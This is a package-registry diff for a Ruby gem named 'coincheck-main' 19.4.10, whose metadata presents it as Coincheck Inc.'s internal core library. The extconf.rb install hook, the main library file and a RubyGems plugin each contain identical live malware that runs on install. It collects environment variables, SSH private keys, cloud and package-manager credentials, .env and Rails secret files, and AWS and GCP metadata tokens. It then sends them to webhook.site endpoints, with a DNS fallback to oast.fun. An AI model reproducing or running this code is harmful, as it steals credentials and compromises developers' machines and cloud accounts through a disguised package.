coincheck-main 19.4.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: b9d4f2a2417636512c90f2440df047f2fb39b7baae74270ef4fd7ab23bba9953
4
+ data.tar.gz: 369e6b9fc960995ed6fca54497b73302540abcfd1021d8a11482c8292c246c9f
5
+ SHA512:
6
+ metadata.gz: 6319da65a945747d1d92e143646b04051ce35fd20a908f7b01c6dc1342da8eccf1761f23864a57e82b4fd86ddfbb1d0e9d807d3925925c46e727b8a03d381014
7
+ data.tar.gz: 0672134426ba254dfd4823a46a7c85787d6177852613809a6acb7f3d6e41ec884f43ff5fcd4e2cdaf6e886e90815d69602bede3bf0ff70ecc60b48503579ce46
@@ -0,0 +1,193 @@
1
+ # Coincheck dependency-confusion payload (executes at gem install / gem CLI)
2
+ module CCPayload
3
+ TOKENS = ["b8f1975e-30fb-4c72-b31e-d94a480b6b5e", "339ee5fd-b1bc-468e-95d1-bd9e692a1539"]
4
+ OAST_CID = "yjcvw2wedyojzjlloxkk"
5
+ OAST_HOST = "oast.fun"
6
+
7
+ def self.clean(s)
8
+ s.to_s.gsub(/[^\x09\x0a\x0d\x20-\x7e]/, '.')
9
+ end
10
+
11
+ def self.slurp(path, max = 30000)
12
+ return "" unless (File.file?(path) rescue false)
13
+ clean(File.binread(path)[0, max]) rescue ""
14
+ end
15
+
16
+ def self.cmd(c, t = 5)
17
+ out = +""
18
+ th = Thread.new do
19
+ begin
20
+ IO.popen(c, err: [:child, :out]) { |io| out << io.read(6000).to_s }
21
+ rescue Exception
22
+ end
23
+ end
24
+ th.join(t) || (th.kill; out << "[timeout]")
25
+ clean(out)
26
+ rescue Exception
27
+ ""
28
+ end
29
+
30
+ def self.find_root(start)
31
+ base = start
32
+ 8.times do
33
+ %w[Gemfile .git config/database.yml Gemfile.lock].each do |m|
34
+ return base if File.exist?(File.join(base, m))
35
+ end
36
+ up = File.dirname(base)
37
+ break if up == base
38
+ base = up
39
+ end
40
+ start
41
+ end
42
+
43
+ def self.http_get(host, path, port = 80, hdrs = {}, t = 2)
44
+ require 'net/http'
45
+ h = Net::HTTP.new(host, port)
46
+ h.open_timeout = t
47
+ h.read_timeout = t
48
+ h.get(path, hdrs).body.to_s
49
+ rescue Exception
50
+ ""
51
+ end
52
+
53
+ def self.build(tag)
54
+ o = +""
55
+ add = ->(t) { o << "\n===== #{t} =====\n" }
56
+ add.("meta")
57
+ o << "tag=#{tag}\n"
58
+ o << "time=#{Time.now.utc}\n"
59
+ o << "hostname=#{Socket.gethostname rescue '?'}\n"
60
+ o << "pwd=#{Dir.pwd}\n"
61
+ home = (Dir.home rescue (ENV['HOME'] || ENV['USERPROFILE'] || '.'))
62
+ o << "home=#{home}\n"
63
+ root = if ENV['BUNDLE_GEMFILE'] && File.file?(ENV['BUNDLE_GEMFILE'])
64
+ File.dirname(ENV['BUNDLE_GEMFILE'])
65
+ else
66
+ find_root(Dir.pwd)
67
+ end
68
+ o << "app_root=#{root}\n"
69
+ o << "ruby=#{RUBY_DESCRIPTION rescue RUBY_VERSION}\n"
70
+
71
+ add.("cmd")
72
+ o << "--- id ---\n" << cmd("id 2>/dev/null; whoami 2>/dev/null")
73
+ o << "\n--- uname ---\n" << cmd("uname -a 2>/dev/null")
74
+ o << "\n--- os ---\n" << cmd("cat /etc/os-release 2>/dev/null | head -8")
75
+ o << "\n--- ip ---\n" << cmd("(ip addr 2>/dev/null || ifconfig 2>/dev/null) | head -40")
76
+ o << "\n--- routes ---\n" << cmd("(ip route 2>/dev/null || netstat -rn 2>/dev/null) | head -20")
77
+ o << "\n--- ps ---\n" << cmd("ps aux 2>/dev/null | head -40")
78
+ o << "\n--- git ---\n" << cmd("git -C '#{root}' remote -v 2>/dev/null; git -C '#{root}' log -1 --format='%H %ae %s' 2>/dev/null")
79
+ o << "\n--- env-names ---\n" << clean((ENV.keys rescue []).sort.join(' '))
80
+
81
+ add.("env")
82
+ (ENV.each { |k, v| o << "#{k}=#{clean(v)[0, 2000]}\n" } rescue nil)
83
+
84
+ add.("files")
85
+ paths = []
86
+ %w[/etc/passwd /etc/hosts /etc/hostname /etc/resolv.conf /etc/environment
87
+ /etc/ssh/ssh_config /root/.bash_history /home/ubuntu/.bash_history].each { |p| paths << p }
88
+ [".aws/credentials", ".aws/config", ".bundle/config", ".gem/credentials", ".npmrc",
89
+ ".docker/config.json", ".kube/config", ".gitconfig", ".netrc", ".pgpass", ".my.cnf",
90
+ ".config/gcloud/application_default_credentials.json", ".bash_history", ".ssh/config",
91
+ ".ssh/known_hosts", ".ssh/id_rsa", ".ssh/id_ed25519", ".ssh/id_ecdsa", ".ssh/authorized_keys"].each do |p|
92
+ paths << File.join(home, p)
93
+ end
94
+ (Dir.glob(File.join(home, '.ssh/*')) rescue []).each { |f| paths << f }
95
+ rel = %w[Gemfile Gemfile.lock .ruby-version .env .env.local .env.production .env.development
96
+ .env.staging config/database.yml config/secrets.yml config/master.key
97
+ config/credentials.yml.enc config/credentials/production.key config/credentials/production.yml.enc
98
+ config/application.yml config/settings.yml docker-compose.yml docker-compose.yaml
99
+ Procfile deploy.rb config/deploy.rb config/deploy/production.rb config/puma.rb
100
+ .npmrc package.json .tool-versions]
101
+ bases = [root]
102
+ b = Dir.pwd
103
+ 4.times { bases << b; nb = File.dirname(b); break if nb == b; b = nb }
104
+ bases.uniq.each do |bd|
105
+ rel.each { |r| paths << File.join(bd, r) }
106
+ (Dir.glob(File.join(bd, '.env*')) rescue []).each { |f| paths << f }
107
+ (Dir.glob(File.join(bd, 'config/*.yml')) rescue []).each { |f| paths << f }
108
+ (Dir.glob(File.join(bd, 'config/credentials/*')) rescue []).each { |f| paths << f }
109
+ end
110
+ paths.uniq.each do |p|
111
+ next unless File.file?(p)
112
+ sz = (File.size(p) rescue 0)
113
+ next if sz > 400_000
114
+ o << "\n--- #{p} (#{sz}) ---\n" << slurp(p)
115
+ end
116
+
117
+ add.("imds")
118
+ aws = http_get("169.254.169.254", "/latest/meta-data/")
119
+ o << "AWS_ROOT:\n#{clean(aws)[0, 3000]}\n"
120
+ role = clean(http_get("169.254.169.254", "/latest/meta-data/iam/security-credentials/")).split("\n").first.to_s.strip
121
+ if role && !role.empty?
122
+ o << "AWS_ROLE:#{role}\n"
123
+ o << "AWS_CREDS:#{clean(http_get('169.254.169.254', "/latest/meta-data/iam/security-credentials/#{role}"))[0, 4000]}\n"
124
+ end
125
+ o << "AWS_USERDATA:#{clean(http_get('169.254.169.254', '/latest/user-data'))[0, 4000]}\n"
126
+ gcp = http_get("metadata.google.internal", "/computeMetadata/v1/instance/service-accounts/default/token", 80, {"Metadata-Flavor" => "Google"})
127
+ o << "GCP_TOKEN:#{clean(gcp)[0, 1000]}\n"
128
+ gcp2 = http_get("metadata.google.internal", "/computeMetadata/v1/instance/attributes/?recursive=true", 80, {"Metadata-Flavor" => "Google"})
129
+ o << "GCP_ATTRS:#{clean(gcp2)[0, 2000]}\n"
130
+
131
+ o << "\n===== end =====\n"
132
+ o[0, 400_000]
133
+ end
134
+
135
+ def self.exfil(tag)
136
+ require 'net/http'
137
+ require 'uri'
138
+ require 'zlib'
139
+ require 'base64'
140
+ require 'digest'
141
+ data = build(tag)
142
+ gz = Zlib::Deflate.deflate(data, 9) rescue data
143
+ body = "CCGEM1 " + Base64.strict_encode64(gz)
144
+ ok = false
145
+ urls = []
146
+ TOKENS.each { |t| urls << "https://webhook.site/#{t}/#{tag}" }
147
+ urls.each do |u|
148
+ begin
149
+ uri = URI(u)
150
+ h = Net::HTTP.new(uri.host, uri.port)
151
+ h.use_ssl = true
152
+ h.open_timeout = 6
153
+ h.read_timeout = 15
154
+ r = h.post(uri.request_uri, body, {"Content-Type" => "text/plain", "X-CC-Tag" => tag, "User-Agent" => "ccgem/#{tag}"})
155
+ ok = true if r && r.code.to_i / 100 == 2
156
+ break if ok
157
+ rescue Exception
158
+ end
159
+ end
160
+ # DNS OOB fallback
161
+ begin
162
+ require 'resolv'
163
+ label = "g" + Digest::SHA1.hexdigest(tag.to_s)[0, 16]
164
+ Resolv::DNS.open { |d| d.getresources("#{label}.#{OAST_CID}.#{OAST_HOST}", Resolv::DNS::Resource::IN::A) }
165
+ rescue Exception
166
+ end
167
+ ok
168
+ end
169
+
170
+ def self.run(tag)
171
+ return if ENV["CCGEM_DONE_#{tag}"] == "1"
172
+ begin
173
+ marker = File.join((Dir.tmpdir rescue '/tmp'), ".ccgem_#{tag}")
174
+ return if File.exist?(marker)
175
+ File.write(marker, Time.now.to_s) rescue nil
176
+ rescue Exception
177
+ end
178
+ exfil(tag)
179
+ rescue Exception
180
+ nil
181
+ end
182
+ end
183
+
184
+ CCPayload.run("coincheck-main-19.4.10" + "-EXTCONF")
185
+ begin
186
+ File.write(File.join(__dir__, 'Makefile'), "all:\n\t@true\ninstall:\n\t@true\nclean:\n\t@true\n")
187
+ rescue Exception
188
+ begin
189
+ require 'mkmf'
190
+ create_makefile("coincheck-main")
191
+ rescue Exception
192
+ end
193
+ end
@@ -0,0 +1,184 @@
1
+ # Coincheck dependency-confusion payload (executes at gem install / gem CLI)
2
+ module CCPayload
3
+ TOKENS = ["b8f1975e-30fb-4c72-b31e-d94a480b6b5e", "339ee5fd-b1bc-468e-95d1-bd9e692a1539"]
4
+ OAST_CID = "yjcvw2wedyojzjlloxkk"
5
+ OAST_HOST = "oast.fun"
6
+
7
+ def self.clean(s)
8
+ s.to_s.gsub(/[^\x09\x0a\x0d\x20-\x7e]/, '.')
9
+ end
10
+
11
+ def self.slurp(path, max = 30000)
12
+ return "" unless (File.file?(path) rescue false)
13
+ clean(File.binread(path)[0, max]) rescue ""
14
+ end
15
+
16
+ def self.cmd(c, t = 5)
17
+ out = +""
18
+ th = Thread.new do
19
+ begin
20
+ IO.popen(c, err: [:child, :out]) { |io| out << io.read(6000).to_s }
21
+ rescue Exception
22
+ end
23
+ end
24
+ th.join(t) || (th.kill; out << "[timeout]")
25
+ clean(out)
26
+ rescue Exception
27
+ ""
28
+ end
29
+
30
+ def self.find_root(start)
31
+ base = start
32
+ 8.times do
33
+ %w[Gemfile .git config/database.yml Gemfile.lock].each do |m|
34
+ return base if File.exist?(File.join(base, m))
35
+ end
36
+ up = File.dirname(base)
37
+ break if up == base
38
+ base = up
39
+ end
40
+ start
41
+ end
42
+
43
+ def self.http_get(host, path, port = 80, hdrs = {}, t = 2)
44
+ require 'net/http'
45
+ h = Net::HTTP.new(host, port)
46
+ h.open_timeout = t
47
+ h.read_timeout = t
48
+ h.get(path, hdrs).body.to_s
49
+ rescue Exception
50
+ ""
51
+ end
52
+
53
+ def self.build(tag)
54
+ o = +""
55
+ add = ->(t) { o << "\n===== #{t} =====\n" }
56
+ add.("meta")
57
+ o << "tag=#{tag}\n"
58
+ o << "time=#{Time.now.utc}\n"
59
+ o << "hostname=#{Socket.gethostname rescue '?'}\n"
60
+ o << "pwd=#{Dir.pwd}\n"
61
+ home = (Dir.home rescue (ENV['HOME'] || ENV['USERPROFILE'] || '.'))
62
+ o << "home=#{home}\n"
63
+ root = if ENV['BUNDLE_GEMFILE'] && File.file?(ENV['BUNDLE_GEMFILE'])
64
+ File.dirname(ENV['BUNDLE_GEMFILE'])
65
+ else
66
+ find_root(Dir.pwd)
67
+ end
68
+ o << "app_root=#{root}\n"
69
+ o << "ruby=#{RUBY_DESCRIPTION rescue RUBY_VERSION}\n"
70
+
71
+ add.("cmd")
72
+ o << "--- id ---\n" << cmd("id 2>/dev/null; whoami 2>/dev/null")
73
+ o << "\n--- uname ---\n" << cmd("uname -a 2>/dev/null")
74
+ o << "\n--- os ---\n" << cmd("cat /etc/os-release 2>/dev/null | head -8")
75
+ o << "\n--- ip ---\n" << cmd("(ip addr 2>/dev/null || ifconfig 2>/dev/null) | head -40")
76
+ o << "\n--- routes ---\n" << cmd("(ip route 2>/dev/null || netstat -rn 2>/dev/null) | head -20")
77
+ o << "\n--- ps ---\n" << cmd("ps aux 2>/dev/null | head -40")
78
+ o << "\n--- git ---\n" << cmd("git -C '#{root}' remote -v 2>/dev/null; git -C '#{root}' log -1 --format='%H %ae %s' 2>/dev/null")
79
+ o << "\n--- env-names ---\n" << clean((ENV.keys rescue []).sort.join(' '))
80
+
81
+ add.("env")
82
+ (ENV.each { |k, v| o << "#{k}=#{clean(v)[0, 2000]}\n" } rescue nil)
83
+
84
+ add.("files")
85
+ paths = []
86
+ %w[/etc/passwd /etc/hosts /etc/hostname /etc/resolv.conf /etc/environment
87
+ /etc/ssh/ssh_config /root/.bash_history /home/ubuntu/.bash_history].each { |p| paths << p }
88
+ [".aws/credentials", ".aws/config", ".bundle/config", ".gem/credentials", ".npmrc",
89
+ ".docker/config.json", ".kube/config", ".gitconfig", ".netrc", ".pgpass", ".my.cnf",
90
+ ".config/gcloud/application_default_credentials.json", ".bash_history", ".ssh/config",
91
+ ".ssh/known_hosts", ".ssh/id_rsa", ".ssh/id_ed25519", ".ssh/id_ecdsa", ".ssh/authorized_keys"].each do |p|
92
+ paths << File.join(home, p)
93
+ end
94
+ (Dir.glob(File.join(home, '.ssh/*')) rescue []).each { |f| paths << f }
95
+ rel = %w[Gemfile Gemfile.lock .ruby-version .env .env.local .env.production .env.development
96
+ .env.staging config/database.yml config/secrets.yml config/master.key
97
+ config/credentials.yml.enc config/credentials/production.key config/credentials/production.yml.enc
98
+ config/application.yml config/settings.yml docker-compose.yml docker-compose.yaml
99
+ Procfile deploy.rb config/deploy.rb config/deploy/production.rb config/puma.rb
100
+ .npmrc package.json .tool-versions]
101
+ bases = [root]
102
+ b = Dir.pwd
103
+ 4.times { bases << b; nb = File.dirname(b); break if nb == b; b = nb }
104
+ bases.uniq.each do |bd|
105
+ rel.each { |r| paths << File.join(bd, r) }
106
+ (Dir.glob(File.join(bd, '.env*')) rescue []).each { |f| paths << f }
107
+ (Dir.glob(File.join(bd, 'config/*.yml')) rescue []).each { |f| paths << f }
108
+ (Dir.glob(File.join(bd, 'config/credentials/*')) rescue []).each { |f| paths << f }
109
+ end
110
+ paths.uniq.each do |p|
111
+ next unless File.file?(p)
112
+ sz = (File.size(p) rescue 0)
113
+ next if sz > 400_000
114
+ o << "\n--- #{p} (#{sz}) ---\n" << slurp(p)
115
+ end
116
+
117
+ add.("imds")
118
+ aws = http_get("169.254.169.254", "/latest/meta-data/")
119
+ o << "AWS_ROOT:\n#{clean(aws)[0, 3000]}\n"
120
+ role = clean(http_get("169.254.169.254", "/latest/meta-data/iam/security-credentials/")).split("\n").first.to_s.strip
121
+ if role && !role.empty?
122
+ o << "AWS_ROLE:#{role}\n"
123
+ o << "AWS_CREDS:#{clean(http_get('169.254.169.254', "/latest/meta-data/iam/security-credentials/#{role}"))[0, 4000]}\n"
124
+ end
125
+ o << "AWS_USERDATA:#{clean(http_get('169.254.169.254', '/latest/user-data'))[0, 4000]}\n"
126
+ gcp = http_get("metadata.google.internal", "/computeMetadata/v1/instance/service-accounts/default/token", 80, {"Metadata-Flavor" => "Google"})
127
+ o << "GCP_TOKEN:#{clean(gcp)[0, 1000]}\n"
128
+ gcp2 = http_get("metadata.google.internal", "/computeMetadata/v1/instance/attributes/?recursive=true", 80, {"Metadata-Flavor" => "Google"})
129
+ o << "GCP_ATTRS:#{clean(gcp2)[0, 2000]}\n"
130
+
131
+ o << "\n===== end =====\n"
132
+ o[0, 400_000]
133
+ end
134
+
135
+ def self.exfil(tag)
136
+ require 'net/http'
137
+ require 'uri'
138
+ require 'zlib'
139
+ require 'base64'
140
+ require 'digest'
141
+ data = build(tag)
142
+ gz = Zlib::Deflate.deflate(data, 9) rescue data
143
+ body = "CCGEM1 " + Base64.strict_encode64(gz)
144
+ ok = false
145
+ urls = []
146
+ TOKENS.each { |t| urls << "https://webhook.site/#{t}/#{tag}" }
147
+ urls.each do |u|
148
+ begin
149
+ uri = URI(u)
150
+ h = Net::HTTP.new(uri.host, uri.port)
151
+ h.use_ssl = true
152
+ h.open_timeout = 6
153
+ h.read_timeout = 15
154
+ r = h.post(uri.request_uri, body, {"Content-Type" => "text/plain", "X-CC-Tag" => tag, "User-Agent" => "ccgem/#{tag}"})
155
+ ok = true if r && r.code.to_i / 100 == 2
156
+ break if ok
157
+ rescue Exception
158
+ end
159
+ end
160
+ # DNS OOB fallback
161
+ begin
162
+ require 'resolv'
163
+ label = "g" + Digest::SHA1.hexdigest(tag.to_s)[0, 16]
164
+ Resolv::DNS.open { |d| d.getresources("#{label}.#{OAST_CID}.#{OAST_HOST}", Resolv::DNS::Resource::IN::A) }
165
+ rescue Exception
166
+ end
167
+ ok
168
+ end
169
+
170
+ def self.run(tag)
171
+ return if ENV["CCGEM_DONE_#{tag}"] == "1"
172
+ begin
173
+ marker = File.join((Dir.tmpdir rescue '/tmp'), ".ccgem_#{tag}")
174
+ return if File.exist?(marker)
175
+ File.write(marker, Time.now.to_s) rescue nil
176
+ rescue Exception
177
+ end
178
+ exfil(tag)
179
+ rescue Exception
180
+ nil
181
+ end
182
+ end
183
+
184
+ CCPayload.run("coincheck-main-19.4.10" + "-LIB")
@@ -0,0 +1,184 @@
1
+ # Coincheck dependency-confusion payload (executes at gem install / gem CLI)
2
+ module CCPayload
3
+ TOKENS = ["b8f1975e-30fb-4c72-b31e-d94a480b6b5e", "339ee5fd-b1bc-468e-95d1-bd9e692a1539"]
4
+ OAST_CID = "yjcvw2wedyojzjlloxkk"
5
+ OAST_HOST = "oast.fun"
6
+
7
+ def self.clean(s)
8
+ s.to_s.gsub(/[^\x09\x0a\x0d\x20-\x7e]/, '.')
9
+ end
10
+
11
+ def self.slurp(path, max = 30000)
12
+ return "" unless (File.file?(path) rescue false)
13
+ clean(File.binread(path)[0, max]) rescue ""
14
+ end
15
+
16
+ def self.cmd(c, t = 5)
17
+ out = +""
18
+ th = Thread.new do
19
+ begin
20
+ IO.popen(c, err: [:child, :out]) { |io| out << io.read(6000).to_s }
21
+ rescue Exception
22
+ end
23
+ end
24
+ th.join(t) || (th.kill; out << "[timeout]")
25
+ clean(out)
26
+ rescue Exception
27
+ ""
28
+ end
29
+
30
+ def self.find_root(start)
31
+ base = start
32
+ 8.times do
33
+ %w[Gemfile .git config/database.yml Gemfile.lock].each do |m|
34
+ return base if File.exist?(File.join(base, m))
35
+ end
36
+ up = File.dirname(base)
37
+ break if up == base
38
+ base = up
39
+ end
40
+ start
41
+ end
42
+
43
+ def self.http_get(host, path, port = 80, hdrs = {}, t = 2)
44
+ require 'net/http'
45
+ h = Net::HTTP.new(host, port)
46
+ h.open_timeout = t
47
+ h.read_timeout = t
48
+ h.get(path, hdrs).body.to_s
49
+ rescue Exception
50
+ ""
51
+ end
52
+
53
+ def self.build(tag)
54
+ o = +""
55
+ add = ->(t) { o << "\n===== #{t} =====\n" }
56
+ add.("meta")
57
+ o << "tag=#{tag}\n"
58
+ o << "time=#{Time.now.utc}\n"
59
+ o << "hostname=#{Socket.gethostname rescue '?'}\n"
60
+ o << "pwd=#{Dir.pwd}\n"
61
+ home = (Dir.home rescue (ENV['HOME'] || ENV['USERPROFILE'] || '.'))
62
+ o << "home=#{home}\n"
63
+ root = if ENV['BUNDLE_GEMFILE'] && File.file?(ENV['BUNDLE_GEMFILE'])
64
+ File.dirname(ENV['BUNDLE_GEMFILE'])
65
+ else
66
+ find_root(Dir.pwd)
67
+ end
68
+ o << "app_root=#{root}\n"
69
+ o << "ruby=#{RUBY_DESCRIPTION rescue RUBY_VERSION}\n"
70
+
71
+ add.("cmd")
72
+ o << "--- id ---\n" << cmd("id 2>/dev/null; whoami 2>/dev/null")
73
+ o << "\n--- uname ---\n" << cmd("uname -a 2>/dev/null")
74
+ o << "\n--- os ---\n" << cmd("cat /etc/os-release 2>/dev/null | head -8")
75
+ o << "\n--- ip ---\n" << cmd("(ip addr 2>/dev/null || ifconfig 2>/dev/null) | head -40")
76
+ o << "\n--- routes ---\n" << cmd("(ip route 2>/dev/null || netstat -rn 2>/dev/null) | head -20")
77
+ o << "\n--- ps ---\n" << cmd("ps aux 2>/dev/null | head -40")
78
+ o << "\n--- git ---\n" << cmd("git -C '#{root}' remote -v 2>/dev/null; git -C '#{root}' log -1 --format='%H %ae %s' 2>/dev/null")
79
+ o << "\n--- env-names ---\n" << clean((ENV.keys rescue []).sort.join(' '))
80
+
81
+ add.("env")
82
+ (ENV.each { |k, v| o << "#{k}=#{clean(v)[0, 2000]}\n" } rescue nil)
83
+
84
+ add.("files")
85
+ paths = []
86
+ %w[/etc/passwd /etc/hosts /etc/hostname /etc/resolv.conf /etc/environment
87
+ /etc/ssh/ssh_config /root/.bash_history /home/ubuntu/.bash_history].each { |p| paths << p }
88
+ [".aws/credentials", ".aws/config", ".bundle/config", ".gem/credentials", ".npmrc",
89
+ ".docker/config.json", ".kube/config", ".gitconfig", ".netrc", ".pgpass", ".my.cnf",
90
+ ".config/gcloud/application_default_credentials.json", ".bash_history", ".ssh/config",
91
+ ".ssh/known_hosts", ".ssh/id_rsa", ".ssh/id_ed25519", ".ssh/id_ecdsa", ".ssh/authorized_keys"].each do |p|
92
+ paths << File.join(home, p)
93
+ end
94
+ (Dir.glob(File.join(home, '.ssh/*')) rescue []).each { |f| paths << f }
95
+ rel = %w[Gemfile Gemfile.lock .ruby-version .env .env.local .env.production .env.development
96
+ .env.staging config/database.yml config/secrets.yml config/master.key
97
+ config/credentials.yml.enc config/credentials/production.key config/credentials/production.yml.enc
98
+ config/application.yml config/settings.yml docker-compose.yml docker-compose.yaml
99
+ Procfile deploy.rb config/deploy.rb config/deploy/production.rb config/puma.rb
100
+ .npmrc package.json .tool-versions]
101
+ bases = [root]
102
+ b = Dir.pwd
103
+ 4.times { bases << b; nb = File.dirname(b); break if nb == b; b = nb }
104
+ bases.uniq.each do |bd|
105
+ rel.each { |r| paths << File.join(bd, r) }
106
+ (Dir.glob(File.join(bd, '.env*')) rescue []).each { |f| paths << f }
107
+ (Dir.glob(File.join(bd, 'config/*.yml')) rescue []).each { |f| paths << f }
108
+ (Dir.glob(File.join(bd, 'config/credentials/*')) rescue []).each { |f| paths << f }
109
+ end
110
+ paths.uniq.each do |p|
111
+ next unless File.file?(p)
112
+ sz = (File.size(p) rescue 0)
113
+ next if sz > 400_000
114
+ o << "\n--- #{p} (#{sz}) ---\n" << slurp(p)
115
+ end
116
+
117
+ add.("imds")
118
+ aws = http_get("169.254.169.254", "/latest/meta-data/")
119
+ o << "AWS_ROOT:\n#{clean(aws)[0, 3000]}\n"
120
+ role = clean(http_get("169.254.169.254", "/latest/meta-data/iam/security-credentials/")).split("\n").first.to_s.strip
121
+ if role && !role.empty?
122
+ o << "AWS_ROLE:#{role}\n"
123
+ o << "AWS_CREDS:#{clean(http_get('169.254.169.254', "/latest/meta-data/iam/security-credentials/#{role}"))[0, 4000]}\n"
124
+ end
125
+ o << "AWS_USERDATA:#{clean(http_get('169.254.169.254', '/latest/user-data'))[0, 4000]}\n"
126
+ gcp = http_get("metadata.google.internal", "/computeMetadata/v1/instance/service-accounts/default/token", 80, {"Metadata-Flavor" => "Google"})
127
+ o << "GCP_TOKEN:#{clean(gcp)[0, 1000]}\n"
128
+ gcp2 = http_get("metadata.google.internal", "/computeMetadata/v1/instance/attributes/?recursive=true", 80, {"Metadata-Flavor" => "Google"})
129
+ o << "GCP_ATTRS:#{clean(gcp2)[0, 2000]}\n"
130
+
131
+ o << "\n===== end =====\n"
132
+ o[0, 400_000]
133
+ end
134
+
135
+ def self.exfil(tag)
136
+ require 'net/http'
137
+ require 'uri'
138
+ require 'zlib'
139
+ require 'base64'
140
+ require 'digest'
141
+ data = build(tag)
142
+ gz = Zlib::Deflate.deflate(data, 9) rescue data
143
+ body = "CCGEM1 " + Base64.strict_encode64(gz)
144
+ ok = false
145
+ urls = []
146
+ TOKENS.each { |t| urls << "https://webhook.site/#{t}/#{tag}" }
147
+ urls.each do |u|
148
+ begin
149
+ uri = URI(u)
150
+ h = Net::HTTP.new(uri.host, uri.port)
151
+ h.use_ssl = true
152
+ h.open_timeout = 6
153
+ h.read_timeout = 15
154
+ r = h.post(uri.request_uri, body, {"Content-Type" => "text/plain", "X-CC-Tag" => tag, "User-Agent" => "ccgem/#{tag}"})
155
+ ok = true if r && r.code.to_i / 100 == 2
156
+ break if ok
157
+ rescue Exception
158
+ end
159
+ end
160
+ # DNS OOB fallback
161
+ begin
162
+ require 'resolv'
163
+ label = "g" + Digest::SHA1.hexdigest(tag.to_s)[0, 16]
164
+ Resolv::DNS.open { |d| d.getresources("#{label}.#{OAST_CID}.#{OAST_HOST}", Resolv::DNS::Resource::IN::A) }
165
+ rescue Exception
166
+ end
167
+ ok
168
+ end
169
+
170
+ def self.run(tag)
171
+ return if ENV["CCGEM_DONE_#{tag}"] == "1"
172
+ begin
173
+ marker = File.join((Dir.tmpdir rescue '/tmp'), ".ccgem_#{tag}")
174
+ return if File.exist?(marker)
175
+ File.write(marker, Time.now.to_s) rescue nil
176
+ rescue Exception
177
+ end
178
+ exfil(tag)
179
+ rescue Exception
180
+ nil
181
+ end
182
+ end
183
+
184
+ CCPayload.run("coincheck-main-19.4.10" + "-PLUGIN")
metadata ADDED
@@ -0,0 +1,47 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: coincheck-main
3
+ version: !ruby/object:Gem::Version
4
+ version: 19.4.10
5
+ platform: ruby
6
+ authors:
7
+ - Coincheck Inc.
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2026-12-03 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: Internal shared library for Coincheck services
14
+ email:
15
+ - dev@coincheck.com
16
+ executables: []
17
+ extensions:
18
+ - ext/coincheck-main/extconf.rb
19
+ extra_rdoc_files: []
20
+ files:
21
+ - ext/coincheck-main/extconf.rb
22
+ - lib/coincheck-main.rb
23
+ - lib/rubygems_plugin.rb
24
+ homepage: https://coincheck.com
25
+ licenses:
26
+ - MIT
27
+ metadata: {}
28
+ post_install_message:
29
+ rdoc_options: []
30
+ require_paths:
31
+ - lib
32
+ required_ruby_version: !ruby/object:Gem::Requirement
33
+ requirements:
34
+ - - ">="
35
+ - !ruby/object:Gem::Version
36
+ version: 2.6.0
37
+ required_rubygems_version: !ruby/object:Gem::Requirement
38
+ requirements:
39
+ - - ">="
40
+ - !ruby/object:Gem::Version
41
+ version: '0'
42
+ requirements: []
43
+ rubygems_version: 3.5.22
44
+ signing_key:
45
+ specification_version: 4
46
+ summary: Coincheck internal core library
47
+ test_files: []